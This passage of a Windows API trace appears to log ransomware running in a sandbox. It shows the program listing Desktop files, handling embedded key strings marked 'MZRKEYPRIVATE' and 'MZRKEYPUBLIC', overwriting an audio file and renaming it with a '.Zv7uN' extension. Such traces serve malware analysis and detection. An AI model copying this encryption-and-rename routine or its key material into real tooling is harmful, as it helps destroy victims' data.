lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.456] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.456] GetLastError () returned 0x12 [0126.457] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.457] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0126.457] GetLastError () returned 0x12 [0126.457] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0126.457] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0126.457] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0126.458] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0126.458] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3c74be00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3c74be00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0126.458] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3c74be00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3c74be00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0126.458] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd52e40, ftCreationTime.dwHighDateTime=0x1d5d953, ftLastAccessTime.dwLowDateTime=0x6f3f4c60, ftLastAccessTime.dwHighDateTime=0x1d5dd27, ftLastWriteTime.dwLowDateTime=0x6f3f4c60, ftLastWriteTime.dwHighDateTime=0x1d5dd27, nFileSizeHigh=0x0, nFileSizeLow=0x8a17, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="-W05T2XTav-M.m4a", cAlternateFileName="-W05T2~1.M4A")) returned 1 [0126.458] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0126.458] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-w05t2xtav-m.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd52e40, ftCreationTime.dwHighDateTime=0x1d5d953, ftLastAccessTime.dwLowDateTime=0x6f3f4c60, ftLastAccessTime.dwHighDateTime=0x1d5dd27, ftLastWriteTime.dwLowDateTime=0x6f3f4c60, ftLastWriteTime.dwHighDateTime=0x1d5dd27, nFileSizeHigh=0x0, nFileSizeLow=0x8a17)) returned 1 [0126.459] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-w05t2xtav-m.m4a")) returned 0x20 [0126.459] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a", dwFileAttributes=0x80) returned 1 [0126.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.466] GetCurrentThreadId () returned 0xa30 [0126.466] GetCurrentThreadId () returned 0xa30 [0126.466] GetCurrentThreadId () returned 0xa30 [0126.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.467] GetCurrentThreadId () returned 0xa30 [0126.467] GetCurrentThreadId () returned 0xa30 [0126.467] GetCurrentThreadId () returned 0xa30 [0126.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-w05t2xtav-m.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.467] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.467] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.467] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x8a17 [0126.468] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.468] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x8a17, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x8a17, lpOverlapped=0x0) returned 1 [0126.470] CloseHandle (hObject=0x120) returned 1 [0126.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-w05t2xtav-m.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.475] WriteFile (in: hFile=0x120, lpBuffer=0x1f02fa0*, nNumberOfBytesToWrite=0x8a17, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02fa0*, lpNumberOfBytesWritten=0x18f978*=0x8a17, lpOverlapped=0x0) returned 1 [0126.479] CloseHandle (hObject=0x120) returned 1 [0126.480] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-w05t2xtav-m.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-W05T2XTav-M.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-w05t2xtav-m.m4a.zv7un")) returned 1 [0126.482] GetCurrentThreadId () returned 0xa30 [0126.482] GetCurrentThreadId () returned 0xa30 [0126.482] GetCurrentThreadId () returned 0xa30 [0126.482] GetCurrentThreadId () returned 0xa30 [0126.482] GetCurrentThreadId () returned 0xa30 [0126.483] GetCurrentThreadId () returned 0xa30 [0126.483] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8244c20, ftCreationTime.dwHighDateTime=0x1d5e343, ftLastAccessTime.dwLowDateTime=0xf12e8380, ftLastAccessTime.dwHighDateTime=0x1d5e605, ftLastWriteTime.dwLowDateTime=0xf12e8380, ftLastWriteTime.dwHighDateTime=0x1d5e605, nFileSizeHigh=0x0, nFileSizeLow=0x12a8f, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="1CsJaMB8ujGXR0u-D.avi", cAlternateFileName="1CSJAM~1.AVI")) returned 1 [0126.483] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.483] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.483] GetFileAttributesExW (in: 